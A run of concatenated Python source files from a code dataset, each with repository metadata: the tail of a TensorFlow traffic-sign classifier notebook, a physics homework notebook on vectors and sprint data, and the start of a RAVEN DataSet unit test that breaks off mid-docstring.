tf.Variable(tf.zeros(84))\n    fc2 = tf.add(tf.matmul(fc1, weigth_2), bias_2)\n        \n    # Activation. RELU\n    fc2 = tf.nn.relu(fc2)\n    fc2 = tf.nn.dropout(fc2, keep_prob)\n\n    # Layer 5: Fully Connected. Input = 84. Output = 43.\n    weigth_3 = tf.Variable(tf.truncated_normal(shape=(84,43), mean=mu, stddev=sigma))\n    bias_3 = tf.Variable(tf.zeros(43))\n    logits = tf.add(tf.matmul(fc2, weigth_3), bias_3)\n    \n    return logits\n\n\n# ### Train, Validate and Test the Model\n\n# A validation set can be used to assess how well the model is performing. A low accuracy on the training and validation\n# sets imply underfitting. A high accuracy on the training set but low accuracy on the validation set implies overfitting.\n\n# In[8]:\n\n\n### Train your model here.\n### Calculate and report the accuracy on the training and validation set.\n### Once a final model architecture is selected, \n### the accuracy on the test set should be calculated and reported as well.\n### Feel free to use as many code cells as needed.\n# `x` is a placeholder for a batch of input images.\n# `y` is a placeholder for a batch of output labels.\nx = tf.placeholder(tf.float32, (None, 32, 32, input_channel))\ny = tf.placeholder(tf.int32, (None))\none_hot_y = tf.one_hot(y, 43)\nkeep_prob = tf.placeholder(tf.float32)\n\n\n# In[9]:\n\n\n# Training Pipeline\nrate = 0.001\n\nlogits = LeNet(x)\ncross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=one_hot_y, logits=logits)\nloss_operation = tf.reduce_mean(cross_entropy)\noptimizer = tf.train.AdamOptimizer(learning_rate = rate)\ntraining_operation = optimizer.minimize(loss_operation)\n\n\n# In[10]:\n\n\n# ## Model Evaluation\ncorrect_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(one_hot_y, 1))\naccuracy_operation = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\nsaver = tf.train.Saver()\n\ndef evaluate(X_data, y_data):\n    num_examples = len(X_data)\n    total_accuracy = 0\n    sess = tf.get_default_session()\n    for offset in range(0, num_examples, BATCH_SIZE):\n        batch_x, batch_y = X_data[offset:offset+BATCH_SIZE], y_data[offset:offset+BATCH_SIZE]\n        accuracy = sess.run(accuracy_operation, feed_dict={x: batch_x, y: batch_y, keep_prob: 1.0})\n        total_accuracy += (accuracy * len(batch_x))\n    return total_accuracy / num_examples\n\n\n# In[12]:\n\n\n# ## Train the Model\nfrom sklearn.utils import shuffle\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    num_examples = len(X_train)\n    \n    print(\"Training...\")\n    print()\n    for i in range(EPOCHS):\n        X_train_processed, y_train = shuffle(X_train_processed, y_train)\n        for offset in range(0, num_examples, BATCH_SIZE):\n            end = offset + BATCH_SIZE\n            batch_x, batch_y = X_train_processed[offset:end], y_train[offset:end]\n            sess.run(training_operation, feed_dict={x: batch_x, y: batch_y, keep_prob: 0.7})\n            \n        validation_accuracy = evaluate(X_valid_processed, y_valid)\n        print(\"EPOCH {} ...\".format(i+1))\n        print(\"Validation Accuracy = {:.3f}\".format(validation_accuracy))\n        print()\n        \n    saver.save(sess, './lenet_traffic_sign')\n    print(\"Model saved\")\n\n\n# ---\n# \n# ## Step 3: Test a Model on New Images\n# \n# To give yourself more insight into how your model is working, download at least five pictures of German traffic signs from the web and use your model to predict the traffic sign type.\n# \n# You may find `signnames.csv` useful as it contains mappings from the class id (integer) to the actual sign name.\n\n# In[13]:\n\n\n# Test the model on test data from above\nwith tf.Session() as sess:\n    saver.restore(sess, tf.train.latest_checkpoint('.'))\n\n    test_accuracy = evaluate(X_test_processed, y_test)\n    print(\"Test Accuracy = {:.3f}\".format(test_accuracy))\n\n\n# ### Load and Output the Images\n\n# In[14]:\n\n\n### Load the images and plot them here.\n### Feel free to use as many code cells as needed.\n# open web downloaded images and also do pre-processing as done above\n# Convert image to Gray and then normalize images\nimport glob\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt \nfrom skimage import color\nimport numpy as np\nfrom scipy import misc\n\n# Normalize Data\ndef normalize_web_images(data):\n    return (data - 128)/128\n\nimages = glob.glob('GermanDownloadImage/*.png')\nX_web_test = np.ndarray(shape=(5,32,32,1), dtype=float)\nweb_image_idx = 0\n\ny_web_labels = np.array([-1, -1, -1, -1, -1])\nfor image in images:\n#     print(image)\n    img = mpimg.imread(image)\n    image_resized = misc.imresize(img, (32, 32))\n    gray = color.rgb2gray(image_resized).astype(\"float32\")\n    gray_reshaped = np.reshape(gray,(32,32,1))\n#     plt.figure(figsize=(1,1))\n#     plt.imshow(gray)\n#     print(gray.shape)\n    X_web_test[web_image_idx] = gray_reshaped\n    if image == \"GermanDownloadImage/ice_road.png\":\n        y_web_labels[web_image_idx] = 30\n    elif image == \"GermanDownloadImage/dang_curve_right.png\":\n        y_web_labels[web_image_idx] = 20\n    elif image == \"GermanDownloadImage/road_narrow_right.png\":\n        y_web_labels[web_image_idx] = 24\n    elif image == \"GermanDownloadImage/dang_curve_left.png\":\n        y_web_labels[web_image_idx] = 19\n    elif image == \"GermanDownloadImage/priority_road.png\":\n        y_web_labels[web_image_idx] = 12\n    web_image_idx += 1\n\nX_web_test = normalize_web_images(X_web_test)\n\nprint(\"Web Image Labels:\")\nprint(y_web_labels)\n\nimg = X_web_test[2].squeeze()\nplt.figure(figsize=(1,1))\nplt.imshow(img, cmap=\"gray\")\n# print(X_web_test.shape)\n\n\n# ### Predict the Sign Type for Each Image\n\n# In[15]:\n\n\n### Run the predictions here and use the model to output the prediction for each image.\n### Make sure to pre-process the images with the same pre-processing pipeline used earlier.\n### Feel free to use as many code cells as needed.\n# as pre-processing is already done so we can go ahead and start evaluation\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    saver.restore(sess, tf.train.latest_checkpoint('.'))\n    web_test_accuracy = evaluate(X_web_test, y_web_labels)\n    print(\"Test Accuracy = {:.3f}\".format(web_test_accuracy))\n\n\n# ### Analyze Performance\n\n# In[ ]:\n\n\n### Calculate the accuracy for these 5 new images. \n### For example, if the model predicted 1 out of 5 signs correctly, it's 20% accurate on these new images.\n# Accuracy for the web image is shown in previous cell\n\n\n# ### Output Top 5 Softmax Probabilities For Each Image Found on the Web\n\n# For each of the new images, print out the model's softmax probabilities to show the **certainty** of the model's predictions (limit the output to the top 5 probabilities for each image). [`tf.nn.top_k`](https://www.tensorflow.org/versions/r0.12/api_docs/python/nn.html#top_k) could prove helpful here. \n# \n# The example below demonstrates how tf.nn.top_k can be used to find the top k predictions for each image.\n# \n# `tf.nn.top_k` will return the values and indices (class ids) of the top k predictions. So if k=3, for each sign, it'll return the 3 largest probabilities (out of a possible 43) and the correspoding class ids.\n# \n# Take this numpy array as an example. The values in the array represent predictions. The array contains softmax probabilities for five candidate images with six possible classes. `tf.nn.top_k` is used to choose the three classes with the highest probability:\n# \n# ```\n# # (5, 6) array\n# a = np.array([[ 0.24879643,  0.07032244,  0.12641572,  0.34763842,  0.07893497,\n#          0.12789202],\n#        [ 0.28086119,  0.27569815,  0.08594638,  0.0178669 ,  0.18063401,\n#          0.15899337],\n#        [ 0.26076848,  0.23664738,  0.08020603,  0.07001922,  0.1134371 ,\n#          0.23892179],\n#        [ 0.11943333,  0.29198961,  0.02605103,  0.26234032,  0.1351348 ,\n#          0.16505091],\n#        [ 0.09561176,  0.34396535,  0.0643941 ,  0.16240774,  0.24206137,\n#          0.09155967]])\n# ```\n# \n# Running it through `sess.run(tf.nn.top_k(tf.constant(a), k=3))` produces:\n# \n# ```\n# TopKV2(values=array([[ 0.34763842,  0.24879643,  0.12789202],\n#        [ 0.28086119,  0.27569815,  0.18063401],\n#        [ 0.26076848,  0.23892179,  0.23664738],\n#        [ 0.29198961,  0.26234032,  0.16505091],\n#        [ 0.34396535,  0.24206137,  0.16240774]]), indices=array([[3, 0, 5],\n#        [0, 1, 4],\n#        [0, 5, 1],\n#        [1, 3, 5],\n#        [1, 4, 3]], dtype=int32))\n# ```\n# \n# Looking just at the first row we get `[ 0.34763842,  0.24879643,  0.12789202]`, you can confirm these are the 3 largest probabilities in `a`. You'll also notice `[3, 0, 5]` are the corresponding indices.\n\n# In[16]:\n\n\n### Print out the top five softmax probabilities for the predictions on the German traffic sign images found on the web. \n### Feel free to use as many code cells as needed.\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    saver.restore(sess, tf.train.latest_checkpoint('.'))\n    softmax_probability = tf.nn.softmax(logits)\n    top_5 = tf.nn.top_k(softmax_probability, 5)\n    top_5_result = sess.run(top_5, feed_dict={x: X_web_test, keep_prob: 1.0})\n    print(\"Values:\")\n    print(top_5_result.values)\n    print(\"Indices:\")\n    print(top_5_result.indices)\n\n\n# ### Project Writeup\n# \n# Once you have completed the code implementation, document your results in a project writeup using this [template](https://github.com/udacity/CarND-Traffic-Sign-Classifier-Project/blob/master/writeup_template.md) as a guide. The writeup can be in a markdown or pdf file. \n\n# > **Note**: Once you have completed all of the code implementations and successfully answered each question above, you may finalize your work by exporting the iPython Notebook as an HTML document. You can do this by using the menu above and navigating to  \\n\",\n#     \"**File -> Download as -> HTML (.html)**. Include the finished document along with this notebook as your submission.\n\n# ---\n# \n# ## Step 4 (Optional): Visualize the Neural Network's State with Test Images\n# \n#  This Section is not required to complete but acts as an additional excersise for understaning the output of a neural network's weights. While neural networks can be a great learning device they are often referred to as a black box. We can understand what the weights of a neural network look like better by plotting their feature maps. After successfully training your neural network you can see what it's feature maps look like by plotting the output of the network's weight layers in response to a test stimuli image. From these plotted feature maps, it's possible to see what characteristics of an image the network finds interesting. For a sign, maybe the inner network feature maps react with high activation to the sign's boundary outline or to the contrast in the sign's painted symbol.\n# \n#  Provided for you below is the function code that allows you to get the visualization output of any tensorflow weight layer you want. The inputs to the function should be a stimuli image, one used during training or a new one you provided, and then the tensorflow variable name that represents the layer's state during the training process, for instance if you wanted to see what the [LeNet lab's](https://classroom.udacity.com/nanodegrees/nd013/parts/fbf77062-5703-404e-b60c-95b78b2f3f9e/modules/6df7ae49-c61c-4bb2-a23e-6527e69209ec/lessons/601ae704-1035-4287-8b11-e2c2716217ad/concepts/d4aca031-508f-4e0b-b493-e7b706120f81) feature maps looked like for it's second convolutional layer you could enter conv2 as the tf_activation variable.\n# \n# For an example of what feature map outputs look like, check out NVIDIA's results in their paper [End-to-End Deep Learning for Self-Driving Cars](https://devblogs.nvidia.com/parallelforall/deep-learning-self-driving-cars/) in the section Visualization of internal CNN State. NVIDIA was able to show that their network's inner weights had high activations to road boundary lines by comparing feature maps from an image with a clear path to one without. Try experimenting with a similar test to show that your trained network's weights are looking for interesting features, whether it's looking at differences in feature maps from images with or without a sign, or even what feature maps look like in a trained network vs a completely untrained one on the same sign image.\n# \n# <figure>\n#  <img src=\"visualize_cnn.png\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your output should look something like this (above)</p> \n#  </figcaption>\n# </figure>\n#  <p></p> \n# \n\n# In[ ]:\n\n\n### Visualize your network's feature maps here.\n### Feel free to use as many code cells as needed.\n\n# image_input: the test image being fed into the network to produce the feature maps\n# tf_activation: should be a tf variable name used during your training procedure that represents the calculated state of a specific weight layer\n# activation_min/max: can be used to view the activation contrast in more detail, by default matplot sets min and max to the actual min and max values of the output\n# plt_num: used to plot out multiple different weight feature map sets on the same block, just extend the plt number for each new feature map entry\n\ndef outputFeatureMap(image_input, tf_activation, activation_min=-1, activation_max=-1 ,plt_num=1):\n    # Here make sure to preprocess your image_input in a way your network expects\n    # with size, normalization, ect if needed\n    # image_input =\n    # Note: x should be the same name as your network's tensorflow data placeholder variable\n    # If you get an error tf_activation is not defined it may be having trouble accessing the variable from inside a function\n    activation = tf_activation.eval(session=sess,feed_dict={x : image_input})\n    featuremaps = activation.shape[3]\n    plt.figure(plt_num, figsize=(15,15))\n    for featuremap in range(featuremaps):\n        plt.subplot(6,8, featuremap+1) # sets the number of feature maps to show on each row and column\n        plt.title('FeatureMap ' + str(featuremap)) # displays the feature map number\n        if activation_min != -1 & activation_max != -1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmin =activation_min, vmax=activation_max, cmap=\"gray\")\n        elif activation_max != -1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmax=activation_max, cmap=\"gray\")\n        elif activation_min !=-1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmin=activation_min, cmap=\"gray\")\n        else:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", cmap=\"gray\")\n\n", "meta": {"hexsha": "81b1a732ad5a89b568684b5b959051f748d5d4a9", "size": 27986, "ext": "py", "lang": "Python", "max_stars_repo_path": "Traffic_Sign_Classifier.py", "max_stars_repo_name": "hanshu86/traffic-signal-classifier", "max_stars_repo_head_hexsha": "91ee3ca69b437df5faf5b394c765ecde6081f30b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Traffic_Sign_Classifier.py", "max_issues_repo_name": "hanshu86/traffic-signal-classifier", "max_issues_repo_head_hexsha": "91ee3ca69b437df5faf5b394c765ecde6081f30b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Traffic_Sign_Classifier.py", "max_forks_repo_name": "hanshu86/traffic-signal-classifier", "max_forks_repo_head_hexsha": "91ee3ca69b437df5faf5b394c765ecde6081f30b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.0660225443, "max_line_length": 796, "alphanum_fraction": 0.7254341456, "include": true, "reason": "import numpy,from scipy", "num_tokens": 7310, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3960681662740417, "lm_q2_score": 0.12940273159163906, "lm_q1q2_score": 0.05125230261235249}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <!-- HTML file automatically generated from DocOnce source (https://github.com/doconce/doconce/)\n# doconce format html hw1.do.txt --no_mako -->\n# <!-- dom:TITLE: PHY321: Classical Mechanics 1 -->\n\n# # PHY321: Classical Mechanics 1\n# **Homework 1, due January 21 (midnight)**\n# \n# Date: **Jan 11, 2022**\n\n# ### Practicalities about  homeworks and projects\n# \n# 1. You can work in groups (optimal groups are often 2-3 people) or by yourself. If you work as a group you can hand in one answer only if you wish. **Remember to write your name(s)**!\n# \n# 2. Homeworks (final version) are available approximately ten days before the  deadline. \n# \n# 3. How do I(we)  hand in?  You can hand in the paper and pencil exercises as a scanned document. For this homework this applies to exercises 1-5. You should upload the scan to D2L. Alternatively, you can hand in everyhting (if you are ok with typing mathematical formulae using say Latex) as a jupyter notebook at D2L. The numerical exercise (exercise 6 here) should always be handed in as a jupyter notebook by the deadline at D2L.\n\n# ### Exercise 1 (12 pt), math reminder, properties of exponential function\n# \n# The first exercise is meant to remind ourselves about properties of\n# the exponential function and imaginary numbers. This is highly\n# relevant later in this course when we start analyzing oscillatory\n# motion and some wave mechanics. As physicists we should thus feel comfortable with expressions that\n# include $\\exp{(\\imath\\omega t)}$. Here $t$ could be interpreted as time and $\\omega$ as a frequency and $\\imath$ is the imaginary unit number.\n# \n# * 1a (3pt): Perform Taylor expansions in powers of $\\omega t$ of the functions $\\cos{(\\omega t)}$ and $\\sin{(\\omega t)}$.\n# \n# * 1b (3pt): Perform a Taylor expansion of $\\exp{(i\\omega t)}$.\n# \n# * 1c (3pt): Using parts (a) and (b) here, show that $\\exp{(\\imath\\omega t)}=\\cos{(\\omega t)}+\\imath\\sin{(\\omega t)}$.\n# \n# * 1d (3pt): Show that $\\ln{(\u22121)} = \\imath\\pi$.\n\n# ### Exercise 2 (12 pt), Vector algebra\n# \n# * 2a (6pt) One of the many uses of the scalar product is to find the angle between two given vectors. Find the angle between the vectors $\\boldsymbol{a}=(1,2,4)$ and $\\boldsymbol{b}=(4,2,1)$ by evaluating their scalar product.\n# \n# * 2b (6pt) For a cube with sides of length 1, one vertex at the origin, and sides along the $x$, $y$, and $z$ axes, the vector of the body diagonal from the origin can be written $\\boldsymbol{a}=(1, 1, 1)$ and the vector of the face diagonal in the $xy$ plane from the origin is $\\boldsymbol{b}=(1,1,0)$. Find first the lengths of the body diagonal and the face diagonal. Use then part (2a) to find the angle between the body diagonal and the face diagonal.\n\n# ### Exercise 3 (10 pt), More vector mathematics\n# \n# * 3a (5pt) Show (using the fact that multiplication of reals is distributive) that $\\boldsymbol{a}(\\boldsymbol{b}+\\boldsymbol{c})=\\boldsymbol{a}\\boldsymbol{b}+\\boldsymbol{a}\\boldsymbol{c}$.\n# \n# * 3b (5pt) Show that (using product rule for differentiating reals)  $\\frac{d}{dt}(\\boldsymbol{a}\\boldsymbol{b})=\\boldsymbol{a}\\frac{d\\boldsymbol{b}}{dt}+\\boldsymbol{b}\\frac{d\\boldsymbol{a}}{dt}$\n\n# ### Exercise 4 (10 pt), Algebra of cross products\n# \n# * 4a (5pt) Show that the cross products are distribuitive $\\boldsymbol{a}\\times(\\boldsymbol{b}+\\boldsymbol{c})=\\boldsymbol{a}\\times\\boldsymbol{b}+\\boldsymbol{a}\\times\\boldsymbol{c}$.\n# \n# * 4b (5pt) Show that $\\frac{d}{dt}(\\boldsymbol{a}\\times\\boldsymbol{b})=\\boldsymbol{a}\\times\\frac{d\\boldsymbol{b}}{dt}+\\frac{d\\boldsymbol{a}}{dt}\\times \\boldsymbol{b}$. Be careful with the order of factors\n\n# ### Exercise 5 (10 pt), Area of triangle and law of sines\n# \n# Exercise 1.18 in the textbook of Taylor, Classical Mechanics. Part (1.18a) gives 5pt and part (1.18b) gives also 5pt.\n\n# ### Exercise 6 (40pt), Numerical elements, getting started with some simple data\n# \n# **This exercise should be handed in as a jupyter-notebook** at D2L. Remember to write your name(s). \n# \n# Our first numerical attempt will involve reading data from file or\n# just setting up two vectors, one for position and one for time. Our data are from \n# [Usain Bolt's world record 100m during the olympic games in Beijing in\n# 2008](https://www.youtube.com/watch?v=93dC0o2aHto). The data show the time used in units of 10m (see below). Before we however\n# venture into this, we need to repeat some basic Python syntax with an\n# emphasis on\n# \n# * basic Python syntax for arrays\n# \n# * define and operate on vectors and matrices in Python\n# \n# * create plots for motion in 1D space\n# \n# For more information, see the [introductory slides](https://mhjensen.github.io/Physics321/doc/pub/week2/html/week2.html).\n# Here are some of the basic packages we will be using this week\n\n# In[1]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nimport numpy as np \nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# The first exercise here deals with simply getting familiar with vectors and matrices.\n# \n# We will be working with vectors and matrices to get you familiar with them\n# \n# 1. Initalize two three-dimensional $xyz$ vectors in the below cell using np.array([x,y,z]). Vectors are represented through arrays in python\n# \n# 2. V1 should have x1=1, y1 =2, and z1=3. \n# \n# 3. Vector 2 should have x2=4, y2=5,  and z2=6. \n# \n# 4. Print both vectors to make sure your code is working properly.\n\n# In[2]:\n\n\nV1 = np.array([1,2,3])\nV2 = np.array([4,5,6])\nprint(\"V1: \", V1)\nprint(\"V2: \", V2)\n\n\n# If this is not too familiar, here's a useful link for creating vectors in python\n# <https://docs.scipy.org/doc/numpy-1.13.0/user/basics.creation.html>. Alternatively, look up the [introductory slides](https://mhjensen.github.io/Physics321/doc/pub/week2/html/week2.html).\n# \n# Now lets do some basic mathematics with vectors.\n# \n# Compute and print the following, and double check with hand calculations:\n# \n# * 6a (2pt)  Calculate $\\boldsymbol{V}_1-\\boldsymbol{V}_2$.\n# \n# * 6b (2pt)  Calculate $\\boldsymbol{V}_2-\\boldsymbol{V}_1$.\n# \n# * 6c (2pt) Calculate the dot product $\\boldsymbol{V}_1\\boldsymbol{V}_2$.\n# \n# * 6d (2pt) Calculate the cross product $\\boldsymbol{V}_1\\times\\boldsymbol{V}_2$.\n# \n# Here is some useful explanation on numpy array operations if you feel a bit confused by what is happening,\n# see <https://www.pluralsight.com/guides/overview-basic-numpy-operations>.\n# \n# The following code prints the first two exercises\n\n# In[3]:\n\n\nprint(V1-V2)\nprint(V2-V1)\n\n\n# For the dot product of V1 and V2 below we can use the **dot** function of **numpy** as follows\n\n# In[4]:\n\n\nprint(V1.dot(V2))\n\n\n# As a small challenge try to write your own function for the **dot** product of two vectors.\n# \n# Matrices can be created in a similar fashion in python.  In this\n# language we can work with them through the package numpy (which we\n# have already imported)\n\n# In[5]:\n\n\nM1 = np.matrix([[1,2,3],\n             [4,5,6],\n             [7,8,9]])\nM2 = np.matrix([[1,2],\n             [3,4],\n             [5,6]])\nM3 = np.matrix([[9,8,7],\n             [4,5,6],\n             [7,6,9]])\n\n\n# Matrices can be added in the same way vectors are added in python as shown here\n\n# In[6]:\n\n\nprint(\"M1+M3: \", M1+M3)\n\n\n# What happens if we try to do $M1+M2$?\n# \n# That's enough vectors and matrices for now. Let's move on to some physics problems! Yes, the actual subject we are studying for. \n# \n# We can opt for two different ways of handling the data. The data is listed in the table here and represents the total time Usain Bolt used in steps of  10 meters of distance. The label $i$ is just a counter and we start from zero since Python arrays are by default set from zero. The variable $t$ is time in seconds and $x$ is the position in meters.\n# \n# <table class=\"dotable\" border=\"1\">\n# <thead>\n# <tr><th align=\"center\"> i  </th> <th align=\"center\"> 0  </th> <th align=\"center\"> 1  </th> <th align=\"center\"> 2  </th> <th align=\"center\"> 3  </th> <th align=\"center\"> 4  </th> <th align=\"center\"> 5  </th> <th align=\"center\"> 6  </th> <th align=\"center\"> 7  </th> <th align=\"center\"> 8  </th> <th align=\"center\"> 9  </th> </tr>\n# </thead>\n# <tbody>\n# <tr><td align=\"center\">   x[m]    </td> <td align=\"center\">   10      </td> <td align=\"center\">   20      </td> <td align=\"center\">   30      </td> <td align=\"center\">   40      </td> <td align=\"center\">   50      </td> <td align=\"center\">   60      </td> <td align=\"center\">   70      </td> <td align=\"center\">   80      </td> <td align=\"center\">   90      </td> <td align=\"center\">   100     </td> </tr>\n# <tr><td align=\"center\">   t[s]    </td> <td align=\"center\">   1.85    </td> <td align=\"center\">   2.87    </td> <td align=\"center\">   3.78    </td> <td align=\"center\">   4.65    </td> <td align=\"center\">   5.50    </td> <td align=\"center\">   6.32    </td> <td align=\"center\">   7.14    </td> <td align=\"center\">   7.96    </td> <td align=\"center\">   8.79    </td> <td align=\"center\">   9.69    </td> </tr>\n# </tbody>\n# </table>\n# \n# * 6e (6pt) You can here make a file with the above data and read them in and set up two vectors, one for time and one for position. Alternatively, you can just set up these two vectors directly and define two vectors in your Python code.\n# \n# The following example code may help here\n\n# In[7]:\n\n\n# we just initialize time and position\nx = np.array([10.0, 20.0, 30.0, 40.0, 50.0, 60.0, 70.0, 80.0, 90.0, 100.0])\nt = np.array([1.85, 2.87, 3.78, 4.65, 5.50, 6.32, 7.14, 7.96, 8.79, 9.69])\nplt.plot(t,x, color='black')\nplt.xlabel(\"Time t[s]\")\nplt.ylabel(\"Position x[m]\")\nplt.title(\"Usain Bolt's world record run\")\nplt.show()\n\n\n# * 6f (6pt) Plot the position as function of time\n# \n# * 6g (10pt) Compute thereafter the mean velocity for every interval $i$ and the total velocity (from $i=0$ to the given interval $i$) for each interval and plot these two quantities as function of time. Comment your results.\n# \n# * 6h (10pt) Finally, compute and plot the mean acceleration for each interval and the total acceleration. Again, comment your results. Can you see whether he slowed down during the last meters?\n", "meta": {"hexsha": "e9240c5e5f73edab16672cdd0af0c5ce0e11e9f3", "size": 10143, "ext": "py", "lang": "Python", "max_stars_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw1.py", "max_stars_repo_name": "Shield94/Physics321", "max_stars_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw1.py", "max_issues_repo_name": "Shield94/Physics321", "max_issues_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw1.py", "max_forks_repo_name": "Shield94/Physics321", "max_forks_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.0710900474, "max_line_length": 459, "alphanum_fraction": 0.6798777482, "include": true, "reason": "import numpy", "num_tokens": 3143, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.20181321265898594, "lm_q2_score": 0.2538610126142736, "lm_q1q2_score": 0.05123250652454991}}
{"text": "# Copyright 2017 Battelle Energy Alliance, LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\n  This Module performs Unit Tests for the DataSet class.\n  It can not be considered part of the active code but of the regression test system\n\"\"\"\n\n#For future compatibility with Python 3\nfrom __future__ import division, print_function, unicode_literals, absolute_import\nimport warnings\nwarnings.simplefilter('default',DeprecationWarning)\n\nimport xml.etree.ElementTree as ET\nimport sys, os\nimport pickle as pk\nimport numpy as np\nimport xarray as xr\nimport copy\n\n# find location of crow, message handler\nframeworkDir = os.path.abspath(os.path.join(*([os.path.dirname(__file__)]+[os.pardir]*4+['framework'])))\nsys.path.append(frameworkDir)\n\nfrom utils.utils import find_crow\nfind_crow(frameworkDir)\nimport MessageHandler\n\nimport DataObjects\n\nmh = MessageHandler.MessageHandler()\nmh.initialize({'verbosity':'debug', 'callerLength':10, 'tagLength':10})\n\nprint('Module undergoing testing:')\nprint(DataObjects.DataSet )\nprint('')\n\ndef createElement(tag,attrib=None,text=None):\n  \"\"\"\n    Method to create a dummy xml element readable by the distribution classes\n    @ In, tag, string, the node tag\n    @ In, attrib, dict, optional, the attribute of the xml node\n    @ In, text, str, optional, the dict containig what should be in the xml text\n  \"\"\"\n  if attrib is None:\n    attrib = {}\n  if text is None:\n    text = ''\n  element = ET.Element(tag,attrib)\n  element.text = text\n  return element\n\nresults = {\"pass\":0,\"fail\":0}\n\ndef checkFloat(comment,value,expected,tol=1e-10,update=True):\n  \"\"\"\n    This method is aimed to compare two floats given a certain tolerance\n    @ In, comment, string, a comment printed out if it fails\n    @ In, value, float, the value to compare\n    @ In, expected, float, the expected value\n    @ In, tol, float, optional, the tolerance\n    @ In, update, bool, optional, if False then don't update results counter\n    @ Out, res, bool, True if same\n  \"\"\"\n  if np.isnan(value) and np.isnan(expected):\n    res = True\n  elif np.isnan(value) or np.isnan(expected):\n    res = False\n  else:\n    res = abs(value - expected) <= tol\n  if update:\n    if not res:\n      print(\"checking float\",comment,'|',value,\"!=\",expected)\n      results[\"fail\"] += 1\n    else:\n      results[\"pass\"] += 1\n  return res\n\ndef checkTrue(comment,res,update=True):\n  \"\"\"\n    This method is a pass-through for consistency and updating\n    @ In, comment, string, a comment printed out if it fails\n    @ In, res, bool, the tested value\n    @ In, update, bool, optional, if False then don't update results counter\n    @ Out, res, bool, True if test\n  \"\"\"\n  if update:\n    if res:\n      results[\"pass\"] += 1\n    else:\n      print(\"checking bool\",comment,'|',res,'is not True!')\n      results[\"fail\"] += 1\n  return res\n\ndef checkSame(comment,value,expected,update=True):\n  \"\"\"\n    This method is aimed to compare two identical things\n    @ In, comment, string, a comment printed out if it fails\n    @ In, value, float, the value to compare\n    @ In, expected, float, the expected value\n    @ In, update, bool, optional, if False then don't update results counter\n    @ Out, res, bool, True if same\n  \"\"\"\n  res = value == expected\n  if update:\n    if res:\n      results[\"pass\"] += 1\n    else:\n      print(\"checking string\",comment,'|',value,\"!=\",expected)\n      results[\"fail\"] += 1\n  return res\n\ndef checkArray(comment,first,second,dtype,tol=1e-10,update=True):\n  \"\"\"\n    This method is aimed to compare two arrays\n    @ In, comment, string, a comment printed out if it fails\n    @ In, value, float, the value to compare\n    @ In, expected, float, the expected value\n    @ In, tol, float, optional, the tolerance\n    @ In, update, bool, optional, if False then don't update results counter\n    @ Out, res, bool, True if same\n  \"\"\"\n  res = True\n  if len(first) != len(second):\n    res = False\n    print(\"checking answer\",comment,'|','lengths do not match:',len(first),len(second))\n  else:\n    for i in range(len(first)):\n      if dtype == float:\n        pres = checkFloat('',first[i],second[i],tol,update=False)\n      elif dtype.__name__ in ('str','unicode'):\n        pres = checkSame('',first[i],second[i],update=False)\n      if not pres:\n        print('checking array',comment,'|','entry \"{}\" does not match: {} != {}'.format(i,first[i],second[i]))\n        res = False\n  if update:\n    if res:\n      results[\"pass\"] += 1\n    else:\n      results[\"fail\"] += 1\n  return res\n\ndef checkRlz(comment,first,second,tol=1e-10,update=True,skip=None):\n  \"\"\"\n    This method is aimed to compare two realization\n    @ In, comment, string, a comment printed out if it fails\n    @ In, first, dict, the first dict, the \"calculated\" value -> should be as obtained from the data object\n    @ In, second, dict, the second dict, the \"expected\" value -> should be as a realization submitted\n    @ In, tol, float, optional, the tolerance\n    @ In, update, bool, optional, if False then don't update results counter\n    @ In, skip, list, optional, keywords not to check\n    @ 